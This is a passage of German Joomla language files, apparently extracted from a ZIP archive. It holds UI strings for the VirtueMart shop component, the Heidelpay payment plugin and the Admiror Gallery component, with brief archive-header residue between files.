            Eine Ausnahme ist das 'Alle Daten löschen', das sich an Nutzer richtet, die den Shop sowie alle Datenbankeinträge deinstallieren möchten. Bitte mit Vorsicht benutzen. Wenn Sie es auf einem funktionsunfähig gewordenen Live-Shop anwenden, exportieren Sie zuerst ihre Datenbank." COM_VIRTUEMART_UPDATE_NONEWVERSION="Sie benutzen die aktuellste VirtueMart Version" COM_VIRTUEMART_UPDATE_ORDERS="nur Bestellungen" COM_VIRTUEMART_UPDATE_PATCH_APPLY="Patch jetzt ausführen" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="Ich habe die Warnung gelesen und ich bin mir sicher, das ich das Patch-Paket jetzt auf meiner VirtueMart Intallation ausführen will." COM_VIRTUEMART_UPDATE_PATCH_DATE="Veröffentlichungsdatum" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="Beschreibung" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="Patch Details" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="Nicht alle der zu aktualisierenden Dateien/Verzeichnisse sind beschreibbar. Bitte korrigieren Sie zuerst die Berechtigungen." COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="Dateien, die aktualisiert werden" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="Bitte markieren Sie das Kontrollkästchen, bevor Sie den Patch übernehmen." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="Abfragen die auf der Datenbank ausgeführt werden" COM_VIRTUEMART_UPDATE_PATCH_STATUS="Status" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="Datei/Verzeichnis nicht beschreibbar" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="Beschreibbar" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="%1$s Media für %2$s im Verzeichnis %3$s synchronisiert" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="Insgesamt %1$s Dateien synchronisiert" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="Die Synchronisation ist noch nicht fertig, bitte erneut ausführen" COM_VIRTUEMART_UPDATE_PRODUCTS="nur Produkte" COM_VIRTUEMART_UPDATE_REMOVEDATA="Entferne
            VirtueMart Daten" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="Dies entfernt alle VirtueMart Daten. Sind Sie sicher?" COM_VIRTUEMART_UPDATE_REMOVETABLES="Entferne
            VirtueMart Tabellen" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="Dies entfernt alle VirtueMart Tabellen und macht VirtueMart unbenutzbar. Sind Sie sicher?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS="Wiederherstellung
            System-Standards" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="Dies setzt Ihre Einstellungen auf die Standardeinstellungen zurück. Sind Sie sicher?" COM_VIRTUEMART_UPDATE_STATUS="Status aktualisieren" COM_VIRTUEMART_UPDATE_TOOLS_TAB="DB Werkzeuge" COM_VIRTUEMART_UPDATE_USERS="nur Benutzer" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="Aktualisiere VM Plugin-Tabellen" COM_VIRTUEMART_UPDATE_WARNING_TEXT="Die Installation eines VirtueMart Aktualisierungs-Paketes kann Ihre Internetseiten beschädigen, falls Sie Dateien in der VirtueMart Komponente verändert haben. Der Aktualisierungsprozess überschreibt alle nachfolgend aufgelisteten Dateien. Es werden nicht nur kleine Änderungen vorgenommen, sondern die vorhandene Datei durch eine neue ersetzt. Falls Sie VirtueMart Dateien selbst verändert haben, kann das zu inkonsistenten Dateien sowie fehlenden Klasse/Funktion Abhängigkeiten führen." COM_VIRTUEMART_UPDATE_WARNING_TITLE="Allgemeine Warnung" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="Das Update war erfolgreich " COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="Datei mit identischem Namen ist bereits vorhanden" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="Hallo %s, Vielen Dank für Ihre Registrierung bei %s. Sie können sich nun bei %s mit ihrem bei der Registrierung angegebenen Benutzernamen und Passwort einloggen." COM_VIRTUEMART_USEND_MSG_ACTIVATE="Hallo %s, Vielen Dank für Ihre Registrierung bei %s. Ihr Konto ist eingerichtet und muß noch aktiviert werden, bevor Sie es benutzen können. Zwecks Aktivierung des Kontos klicken Sie auf den folgenden Link oder verwenden Sie kopieren/einfügen in ihrem Browser." COM_VIRTUEMART_USER="Kunde" COM_VIRTUEMART_USERFIELD="Kundenfeld" COM_VIRTUEMART_USERFIELDS="Benutzerfeld" COM_VIRTUEMART_USERFIELDS_ADDVALUE="Einen Wert hinzufügen" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="Benutzen Sie die nachfolgende Tabelle um neue Werte hinzuzufügen." COM_VIRTUEMART_USERFIELDS_COLUMNS="Spalten" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="Beschreibung, Feld-Tip" COM_VIRTUEMART_USERFIELDS_FORM_LBL="Zusätzliche Informationen" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hypertext und URL" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="Maximale Länge" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="Zusätzliche Plugin Parameter" COM_VIRTUEMART_USERFIELDS_READONLY="Schreibgeschützt" COM_VIRTUEMART_USERFIELDS_ROWS="Zeilen" COM_VIRTUEMART_USERFIELDS_SIZE="Feldlänge" COM_VIRTUEMART_USERFIELDS_URL_ONLY="nur eine URL" COM_VIRTUEMART_USERFIELD_DETAILS="Kundenfeld Details" COM_VIRTUEMART_USERFIELD_S="Kundenfelder" COM_VIRTUEMART_USERGROUPS_ADD="Hinzufügen/Bearbeiten einer Benutzergruppe" COM_VIRTUEMART_USERGROUPS_LEVEL="Benutzergruppenstufe" COM_VIRTUEMART_USERGROUPS_LIST="Benutzergruppen Liste" COM_VIRTUEMART_USERGROUPS_LIST_NAME="Benutzergruppe Name" COM_VIRTUEMART_USERGROUP_DETAILS="Benutzergruppe Details" COM_VIRTUEMART_USERINFO_ID="Benutzerinformation Kennnummer" COM_VIRTUEMART_USERNAME="Benutzername" COM_VIRTUEMART_USERS="Benutzer" COM_VIRTUEMART_USERS_SYNCRONIZED="Benutzer synchronisiert!" COM_VIRTUEMART_USER_DATA_STORED="Benutzerdaten gespeichert" COM_VIRTUEMART_USER_DELETE_ST="Adresse löschen" COM_VIRTUEMART_USER_DISPLAYED_NAME="Angezeigter Name" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Zeigt die Kundenadresse zwecks Bearbeitung an" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="Kundenadresse bearbeiten" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="Sie können diesen Benutzer nicht löschen, weil der Benutzer der einzige aktive Super Administrator für Ihre Internetpräsenz ist." COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="Sie könnnen die Benutzergruppe dieses Benutzers nicht ändern, weil der Benutzer der einzige aktive Super Administrator für Ihre Internetpräsenz ist." COM_VIRTUEMART_USER_FORM_ADDRESS_1="Adresszeile 1" COM_VIRTUEMART_USER_FORM_ADDRESS_2="Adresszeile 2" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="Adresse Kurzbezeichnung" COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Adresse hinzufügen" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Rechnungsempfänger" COM_VIRTUEMART_USER_FORM_BLOCKUSER="Benutzer blockieren" COM_VIRTUEMART_USER_FORM_CITY="Stadt" COM_VIRTUEMART_USER_FORM_COMPANY_NAME="Firmenbezeichnung" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="Kontaktdaten bearbeiten" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_FAX="Fax" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_NAME="Name" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_POSITION="Position" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_TELEPHONE="Telefon" COM_VIRTUEMART_USER_FORM_COUNTRY="Land" COM_VIRTUEMART_USER_FORM_CUSTOMER_NUMBER="Kundennummer (überschreibbar)" COM_VIRTUEMART_USER_FORM_FAX="Fax" COM_VIRTUEMART_USER_FORM_FIRST_NAME="Vorname" COM_VIRTUEMART_USER_FORM_GROUP="Gruppe" COM_VIRTUEMART_USER_FORM_LASTVISITDATE="Letzter Besuch" COM_VIRTUEMART_USER_FORM_LASTVISIT_NEVER="Noch nie" COM_VIRTUEMART_USER_FORM_LAST_NAME="Nachname" COM_VIRTUEMART_USER_FORM_LBL="Benutzerinformation" COM_VIRTUEMART_USER_FORM_LEGEND_CONTACTINFO="Kontaktinformation" COM_VIRTUEMART_USER_FORM_LEGEND_PARAMETERS="Grunddaten" COM_VIRTUEMART_USER_FORM_LEGEND_USERDETAILS="Benutzerdaten" COM_VIRTUEMART_USER_FORM_MIDDLE_NAME="Zweiter Vorname" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="Bitte füllen Sie die erforderlichen Felder aus!" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="Bitte füllen Sie die erforderlichen Felder aus. Werfen Sie eventuell einen Blick auf die Registerkarte %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="Neues Passwort" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_1="Keine Kontaktdaten mit diesem Benutzer verknüpft" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_2="Siehe Komponenten -> Kontakt -> Kontakte verwalten bezüglich Details." COM_VIRTUEMART_USER_FORM_PERMS="Berechtigungen" COM_VIRTUEMART_USER_FORM_PHONE2="Mobiltelefon" COM_VIRTUEMART_USER_FORM_PHONE="Telefon" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="System-Emails empfangen" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Registrierungsdatum" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Lieferadressen" COM_VIRTUEMART_USER_FORM_STATE="Staat/Provinz/Region" COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO="Allgemeine Benutzerinformation" COM_VIRTUEMART_USER_FORM_TITLE="Titel" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Passwort verifizieren" COM_VIRTUEMART_USER_FORM_ZIP="Postleitzahl" COM_VIRTUEMART_USER_GROUP="Gruppe" COM_VIRTUEMART_USER_ID="Benutzer Kennnummer" COM_VIRTUEMART_USER_ISNOTVENDOR="Kein Verkäufer" COM_VIRTUEMART_USER_ISVENDOR="Ist Verkäufer" COM_VIRTUEMART_USER_IS_VENDOR="Verkäufer?" COM_VIRTUEMART_USER_LIST_LBL="Kundenliste" COM_VIRTUEMART_USER_NOSHIPPINGADDR="Keine Lieferadresse." COM_VIRTUEMART_USER_REGISTRATION_DISABLED="Benutzerregistrierung ist ausgeschaltet, sie muß eingeschaltet sein um fortzufahren." COM_VIRTUEMART_USER_S="Kunden" COM_VIRTUEMART_USER_SAVED="Kunde gespeichert" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="Benutzer %s hat ein unvollständiges Profil" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Zeigt die VirtueMart Kundenkonto-Verwaltung an" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Kontenverwaltung" COM_VIRTUEMART_VALUE="Wert" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="Für diesen Typ sind ein Wertangaben notwendig." COM_VIRTUEMART_VENDOR="Verkäufer" COM_VIRTUEMART_VENDOR_DATA_STORED="Verkäuferdaten gespeichert" COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Wählen Sie einen Anbieter" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Wählen Sie einen Anbieter" COM_VIRTUEMART_VENDOR_FORM_FULL_IMAGE="Großes Bild" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Verkäufer Information" COM_VIRTUEMART_VENDOR_FORM_THUMB_IMAGE="Kleines Bild" COM_VIRTUEMART_VENDOR_ID="Verkäufer Kennung" COM_VIRTUEMART_VENDOR_IMAGE="Anbieter Abbildung" COM_VIRTUEMART_VENDOR_NAME="Name des Verkäufers" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Zeigt VirtueMart Anbieter Informationen an" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Zeigt VirtueMart Anbieter Informationen an" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Zeigt VirtueMart Anbieter an" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Zeigt VirtueMart Anbieter an" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Zeigt VirtueMart Anbieter Informationen an" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Zeigt VirtueMart Anbieter Informationen an" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="AGB des Anbieters ansehen" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="AGB des Anbieters ansehen" COM_VIRTUEMART_VERSIONCHECK_TITLE="VirtueMart Versionsüberprüfung" COM_VIRTUEMART_VIEW="Ansicht" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="benutzerdefinierte Kennziffer" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="Auftragsnummer" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Produkt ID" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="Staaten" COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="Benutzerinformation Kennziffer" COM_VIRTUEMART_VIRTUEMART_USER_ID="Benutzer Kennziffer" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="Verkäufer" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Startseite" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Zeigt die VirtueMart Startseite an" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="Sichtbar für Käufer" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="Sichtbar für Verkäufer" COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="Sie müssen eine Artikelnummer eingeben." COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="Bitte wählen Sie die zu löschende Wartelisten-Kennziffer." COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="Sie sind bereits auf der Benachrichtigungsliste für dieses Produkt." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="Sie müssen eine E-mail Adresse eingeben um auf der Warteliste eingetragen zu werden." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="Bitte geben Sie eine gültige e-mail Adresse an." COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="Sie müssen ein Produkt eingeben um auf der Warteliste eingetragen zu werden." COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="Warnung - Der %1$s ist nicht angegeben. Aus Sicherheitsgründen ist es sehr wichtig, einen Dateiordner anzulegen, der nicht durch eine URL erreichbar ist. Legen Sie darin auch ein Unterverzeichnis 'invoices' an, um Ihre sensiblen Daten sicher zu speichern. Ihr Joomla Wurzelverzeichnis ist %2$s" COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="Entschuldigung! Konnte den Ordner für Rechnungen unter %1$s nicht erstellen. Bitte erstellen Sie dort manuell den Ordner \'invoices\'" COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="Warnung, der %1$s ist FALSCH. Aus Sicherheitsgründen ist es sehr wichtig, einen Dateiordner anzulegen, der nicht durch eine URL erreichbar ist. Legen Sie darin auch ein Unterverzeichnis 'invoices' an, um Ihre sensiblen Daten sicher zu speichern. Unser empfohlener Pfad für Ihr System ist %2$s " COM_VIRTUEMART_WEEK="Woche" COM_VIRTUEMART_WEEKS="Wochen" COM_VIRTUEMART_WEEK_S="Wochen" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Standard Gewichtseinheit" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="Standard-Gewichtseinheit wird auf die Produkte angewandt. Dieser Wert kann pro Produkt geändert werden" COM_VIRTUEMART_WORLDZONE="Zone" COM_VIRTUEMART_WRITABLE="Beschreibbar" COM_VIRTUEMART_X_CHILD_PRODUCT="%s Produktvarianten" COM_VIRTUEMART_YEAR="Jahr" COM_VIRTUEMART_YEAR_S="Jahre" COM_VIRTUEMART_YES="Ja" COM_VIRTUEMART_YOUR_VERSION="Ihre Version" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="Geltende Zone"PK@y>\sլ0language/de-DE/de-DE.plg_vmpayment_heidelpay.ininuW+AVMPAYMENT_HEIDELPAY_VM_PARAMETERS="Heidelpay Konfiguration" VMPAYMENT_HEIDELPAY_PAYMENT_URL="Payment Server Url:" VMPAYMENT_HEIDELPAY_SECURITY_SENDER="Security Sender:" VMPAYMENT_HEIDELPAY_USER_LOGIN="User Login:" VMPAYMENT_HEIDELPAY_USER_PW="User Password:" VMPAYMENT_HEIDELPAY_CHANNEL_ID="Channel ID:" VMPAYMENT_HEIDELPAY_TRANSACTION_MODE="Transaction Mode:" VMPAYMENT_HEIDELPAY_USER_LOGIN="User Login:" VMPAYMENT_HEIDELPAY_PAYMENT_TYPE="Zahlungsart:" VMPAYMENT_HEIDELPAY_PAYMENT_METHOD="Zahlungsmethode:" VMPAYMENT_HEIDELPAY_DEBUG="Debug Mode:" VMPAYMENT_HEIDELPAY_PAYMENT_URL_DESC="Url des Payment Servers, koennen Sie der Dokumentation entnehmen oder der Livedaten E-Mail von unserem technischen Support" VMPAYMENT_HEIDELPAY_SECURITY_SENDER_DESC="Security Sender, koennen Sie der Dokumentation entnehmen oder der Livedaten E-Mail von unserem technischen Support" VMPAYMENT_HEIDELPAY_USER_LOGIN_DESC="User Login, koennen Sie der Dokumentation entnehmen oder der Livedaten E-Mail von unserem technischen Support" VMPAYMENT_HEIDELPAY_USER_PW_DESC="User Password, koennen Sie der Dokumentation entnehmen oder der Livedaten E-Mail von unserem technischen Support" VMPAYMENT_HEIDELPAY_CHANNEL_ID_DESC="Channel ID, koennen Sie der Dokumentation entnehmen oder der Livedaten E-Mail von unserem technischen Support" VMPAYMENT_HEIDELPAY_TRANSACTION_MODE_DESC="Die Modies INTEGRATOR_TEST und CONNECTOR_TEST sind fuer Testzwecke, für den Betrieb stellen Sie hier bitte LIVE ein." VMPAYMENT_HEIDELPAY_USER_LOGIN_DESC="User Login, koennen Sie der Dokumentation entnehmen oder der Livedaten E-Mail von unserem technischen Support" VMPAYMENT_HEIDELPAY_PAYMENT_TYPE_DESC="Zahlungsart:" VMPAYMENT_HEIDELPAY_PAYMENT_METHOD_DESC="Zahlungsmethode:" VMPAYMENT_HEIDELPAY_DEBUG_DESC="Debug Mode es werden zusetzliche Informationen zur Stoerungsbehebung angezeigt" VMPAYMENT_HEIDELPAY_CC="Kredit Karte" VMPAYMENT_HEIDELPAY_DC="Debit Karte" VMPAYMENT_HEIDELPAY_DD="Lastschrift" VMPAYMENT_HEIDELPAY_OTSUE="Sofortueberweisung" VMPAYMENT_HEIDELPAY_OTGIR="Giropay" VMPAYMENT_HEIDELPAY_OTEPS="EPS" VMPAYMENT_HEIDELPAY_OTIDE="IDeal" VMPAYMENT_HEIDELPAY_IV="Rechnung" VMPAYMENT_HEIDELPAY_PP="Vorkasse" VMPAYMENT_HEIDELPAY_VAPAYPAL="PayPal" VMPAYMENT_HEIDELPAY_DEB="Sofortbuchung" VMPAYMENT_HEIDELPAY_PA="Reservierung" VMPAYMENT_HEIDELPAY_PAYMENT_PAGE="Bestellstatus" VMPAYMENT_HEIDELPAY_STATUS_PENDING="Bestellstatus offen" VMPAYMENT_HEIDELPAY_STATUS_SUCCESS="Bestellstatus erfolgreich" VMPAYMENT_HEIDELPAY_STATUS_FAILED="Bestellstatus fehlgeschlagen" VMPAYMENT_HEIDELPAY_STATUS_PENDING_DESC="Der Bestellstatus wurde nicht aktuallisiert, eventuel ist eine manuelle Prüfung erforderlich." VMPAYMENT_HEIDELPAY_STATUS_SUCCESS_DESC="Die Bestellung wurde erfolgreich abgeschlossen." VMPAYMENT_HEIDELPAY_STATUS_FAILED_DESC="Die Bestellung wurde mit einem Fehler beendet." VMPAYMENT_HEIDELPAY_PAYMENT_FAILED="Ihr Bezahlvorgung ist aus folgenden Grund fehlgeschlagen:" VMPAYMENT_HEIDELPAY_PAYMENT_SUCESS="Der Bezahlvorgang war erfolgreich!" VMPAYMENT_HEIDELPAY_PAYMENT_RESULT="Paymentstatus"; VMPAYMENT_HEIDELPAY_COMMENT="Kommentar"; VMPAYMENT_HEIDELPAY_PAYMENT_TESTMODE="Info: Die Bezahlschnittstelle befindet sich im Test Modus!" VMPAYMENT_HEIDELPAY_EMAIL_SENT="Bestellbestätigung wurde versendet."; VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL_ALWAYS="Immer"; VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL_SUCCESS="Nur im Erfolgsfall"; VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL_NEVER="Nie"; VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL="Automatische E-Mail senden:"; VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL_DESC="Soll nach abschluss der Bestellung automatisch eine Bestellbestaetigung gesendet werden."; VMPAYMENT_HEIDELPAY_TECHNICAL_ERROR="Der folgende technisch Fehler ist aufgetrehten: " VMPAYMENT_HEIDELPAY_CONTACT_SHOPOWNER="Bitte wenden Sie sich an den Shopbetreiber." VMPAYMENT_HEIDELPAY_SECRET="Serect:" VMPAYMENT_HEIDELPAY_SECRET_DESC="Sicherheits Funktion um zu prüfen, die Response vom Heidelpay Server stammt. Bitte nur ändern wenn der Shop offline ist."PK@y>\ަ$,1,1+language/de-DE/de-DE.com_admirorgallery.ininuW+A; version 1.5.x 2005-10-30 14:10:00 ; Joomla! Project ; copyright Copyright (C) 2005 - 2006 Open Source Matters. All rights reserved. ; license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIRORGALLERY_APPLY_DESC="Übernehmen" COM_ADMIRORGALLERY_RESET_DESC="Zurücksetzen" AG_COMPONENT_VERSION="Komponenten Version:" AG_PLUGIN_VERSION="Plugin Version:" AG_BUTTON_VERSION="Knopf Version:" AG_ADMIRORGALLERY_DESCRIPTION="

            Admiror Galerie

            Admiror Galerie erstellt Bildgalerien aus Verzeichnissen mit Bildern. jpg, jpeg, png and gif Bilder werden unterstützt.

            Erstellen sie ein Verzeichnis innerhalb des Hauptverzeichnisses und plazieren sie Ihre Bilder dort. Das Hauptverzeichnis ist normalerweise das Verzeichnis /images/sampledata/.

            Plazieren sie {AG}name_of_your_folder{/AG} innerhalb ihres Artikels.

            Vorschaubilder werden automatisch erstellt wenn der Benutzer die Seite mit der Admirorgalerie öffnet und neue oder veränderte Bilder gefunden werden. Um Änderungen auszuführen, empfehlen wir dem Administrator statt des Benutzers die Admirorgalerie zu öffnen. Die Admirorgalerie besteht aus 3 Hauptelementen: Vorlagen, Popups und Bildverwaltung.

            Für weitere Informationen besuchen sie Admiror Galerie Webseite or Admiror Galerie Kommune.

            Vorlagen sind das Standard Erscheinungsbild der Galerie. Normalerweise ist es ein Satz kleiner Vorschaubilder mit Beschreibungen.

            Popups sind Rahmen die eine große Version des Bildes anzeigen, welches durch klicken auf ein Vorschaubild ausgeführt wird.

            Bildverwaltung ermöglicht ihnen, Bilder hinzuzufügen, zu löschen oder umzubenennen, sie können eine Bildbeschreibung und sogar verschiedene Beschreibungen für jede installierte Sprache eingeben.

            Copyright

            Admiror Galerie ist freie Software. Sie können es unter den Bedingungen der GNU General Public License wie von der Free Software Foundation herausgegeben weiterverteilen und/oder verändern. Entweder Version 3, oder (wenn sie wollen) irgendeine spätere Version.

            * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.


            " ; Plugin Params AG_BASIC_SETTINGS="BASIS PARAMETER" AG_IMAGES_ROOT_FOLDER="Bilder Hauptverzeichnis" AG_IMAGES_ROOT_FOLDER_DESC="Geben sie den Pfad zu dem Verzeichnis welches ihre Bilder enthält, relativ zum Hauptverzeichnis der Seite ein. Vorgegeben ist /images/sampledata/." AG_THUMBNAIL_WIDTH="Vorschaubild Breite" AG_THUMBNAIL_WIDTH_DESC="Geben sie die maximale Vorschaubild Größe in Pixel ein." AG_THUMBNAIL_HEIGHT="Vorschaubild Höhe" AG_THUMBNAIL_HEIGHT_DESC="Geben sie die maximale Vorschaubildhöhe in Pixel ein." AG_THUMBNAIL_AUTO_SIZE="Vorschaubild Automatische Größe" AG_THUMBNAIL_AUTO_SIZE_DESC="Automatische Größe für eine der Dimensionen, die Proportionen des Ursprungsbildes werden beibehalten." AG_WIDTH="Breite" AG_HEIGHT="Höhe" AG_NONE="Keine" AG_GALLERY_TEMPLATE="Galerie Vorlage" AG_GALLERY_TEMPLATE_DESC="Galerie Vorlage auswählen." AG_POPUP_ENGINE="Popup Engine" AG_POPUP_ENGINE_DESC="Popup Engine auswählen." AG_ARRANGE_IMAGES_BY="Bilder aufteilen durch" AG_ARRANGE_IMAGES_BY_DESC="Wählen sie einen Algorhythmus zur Bildaufteilung." AG_PRIORITY="Priorität" AG_DATE="Datum" AG_NAME="Name" AG_GALLERY_COLORS="GALERIE FARBEN" AG_GALLERY_BACKGROUND_COLOR="Hintergrundfarbe" AG_GALLERY_BACKGROUND_COLOR_DESC="Diese Farbe wird in manchen Vorlagen als Hintergrundfarbe verwendet. Geben sie den 6stelligen hex code ein." AG_GALLERY_FOREGROUND_COLOR="Vordergrundfarbe" AG_GALLERY_FOREGROUND_COLOR_DESC="Diese Farbe wird in manchen Vorlagen für Rahmen und Texte verwendet. Geben sie den 6stelligen hex code ein." AG_GALLERY_HIGHLITE_COLOR="Auswahlfarbe" AG_GALLERY_HIGHLITE_COLOR_DESC="Diese Farbe wird in manchen Vorlagen zum markieren beim überfahren verwendet. Geben sie den 6stelligen hex code ein." AG_GALLERY_FRAME_SIZE="GALERIE RAHMENGRÖSSE" AG_GALLERY_FRAME_WIDTH="Rahmenbreite" AG_GALLERY_FRAME_WIDTH_DESC="Geben sie die Rahmenbreite der Galerie in Pixel ein." AG_GALLERY_FRAME_HEIGHT="Rahmenhöhe" AG_GALLERY_FRAME_HEIGHT_DESC="Geben sie die Rahmenhöhe der Galerie in Pixel ein." AG_NEW_IMAGES_SETTINGS="NEUE BILDER" AG_MARK_NEW_IMAGES="Markiere Neue Bilder" AG_MARK_NEW_IMAGES_DESC="Vorschaubildern, die eine Woche alt sind, eine kleine Markierung hinzufügen." AG_YES="Ja" AG_NO="Nein" AG_NEW_IMAGE_DAYS_LIMIT="Neue Bilder Tageslimit" AG_NEW_IMAGE_DAYS_LIMIT_DESC="Zeitraum in dem ein Bild als neu gilt angeben." AG_PAGINATION_SETTINGS="EINSTELLUNGEN SEITENNUMMERIERUNG" AG_USE_PAGINATION="Seitennummerierung benutzen" AG_USE_PAGINATION_DESC="Seitennummerierung einschalten. Aktuelle Bildersätze werden gefiltert und Seitenlinks erstellt." AG_IMAGES_PER_GALLERY="Bilder pro Galerie" AG_IMAGES_PER_GALLERY_DESC="Geben sie die Anzahl der Bilder pro Einzelgalerie an." AG_ALBUMS_SETTINGS="ALBUM EINSTELLUNGEN" AG_USE_ALBUMS="Alben benutzen" AG_USE_ALBUMS_DESC="Albumsystem aktivieren. Unterverzeichnisse der aktuellen Galerie werden gefiltert und als Alben mit Bildern dargestellt." AG_ADDITIONAL_SETTINGS="WEITERE EINSTELLUNGEN" AG_SHOW_SIGNATURE="Signatur anzeigen" AG_SHOW_SIGNATURE_DESC="Admiror Galerie im Fuss der Seite die dieses Plugin benutzt, anzeigen." AG_USE_PLAIN_TEXT_CAPTIONS="Klartext Titel" AG_USE_PLAIN_TEXT_CAPTIONS_DESC="Es ist möglich, formatierte Textüberschriften zu benutzen, aber die Benutzung von doppelten Anführungszeichen im Bezeichner Attribut sollten vermieden werden. Es besteht das Risiko, das manche Vorlagen oder Popups keine formatierten Textüberschriften unterstützen." AG_IGNORE_INVALID_IMAGE="Ungültiges Bild ignorieren" AG_IGNORE_INVALID_IMAGE_DESC="Fehler ignorieren falls das Bild beschädigt ist." AG_IGNORE_NOTICE_OF_RECOVERABLE_ERRORS="Feststellen von wiederherstellbaren Fehlern ignorieren" AG_IGNORE_NOTICE_OF_RECOVERABLE_ERRORS_DESC="Wenn sie die Nachricht: imagecreatefromjpeg() [function.imagecreatefromjpeg] bekommen, können sie das Erscheinen der Nachricht auf ihrer Seite abschalten." ; Plugin Errors ; Templates & Popups Manager AG_SELECT_TEMPLATE_TO_INSTALL="ZIP Archiv zum installieren auswählen" AG_TITLE="Titel" AG_ID="ID" AG_DESCRIPTION="Beschreibung" AG_VERSION="Version" AG_DATE="Datum" AG_AUTHOR="Autor" AG_UNDATED="undatiert" AG_UNKNOWN_AUTHOR="Unbekannter Autor" AG_UNKNOWN_VERSION="Unbekannte Version" AG_NO_DESCRITION="Keine Beschreibung" ;Image Manager AG_SHOW_SIDEBAR="Seitenleiste anzeigen" AG_HIDE_SIDEBAR="Seitenleiste verbergen" 